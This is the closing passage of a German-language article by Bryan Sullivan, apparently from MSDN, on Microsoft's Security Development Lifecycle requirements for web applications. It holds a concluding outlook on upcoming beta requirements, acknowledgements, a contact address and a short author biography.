Ich hoffe, dass dieser erste Blick auf die Anforderungen von SDL-Webanwendungen informativ war und Sie die Gelegenheit ergreifen, sie in den Webentwicklungsteams Ihrer Organisation zu implementieren. Ich kann Sie beruhigen, wir sind noch nicht am Ende. Das SDL-Team hat derzeit mehrere neue Web-spezifische Anforderungen, für die Onlinedienstegruppen bei Microsoft Betatests durchführen. Da sich diese Anforderungen aus der Betaversion entwickeln und voll entwickelte Mitglieder des SDL werden, halten wir den SDL-Blog (blogs.msdn.com/sdl) mit weiteren Informationen zu diesem Thema auf dem aktuellen Stand.
Bryan Sullivan dankt Spencer Low für seine Beiträge zu diesem Artikel sowie Grant Bugher, Martin Rues und Shankar Bharadwaj für ihre Bemühungen, die Anforderungen für Onlinedienste beim SDL einzubringen.

Senden Sie Fragen und Kommentare (in englischer Sprache) an briefs@microsoft.com.

Bryan Sullivan ist Security Program Manager beim Microsoft Security Development Lifecycle-Team, wo er sich auf Sicherheitsprobleme bei Webanwendungen spezialisiert hat. Sein erstes Buch, Ajax Security, wurde bei Addison-Wesley im Dezember 2007 veröffentlicht.

Communityinhalt   Was ist Community Content?
Neuen Inhalt hinzufügen RSS  Anmerkungen
Processing
Page view tracker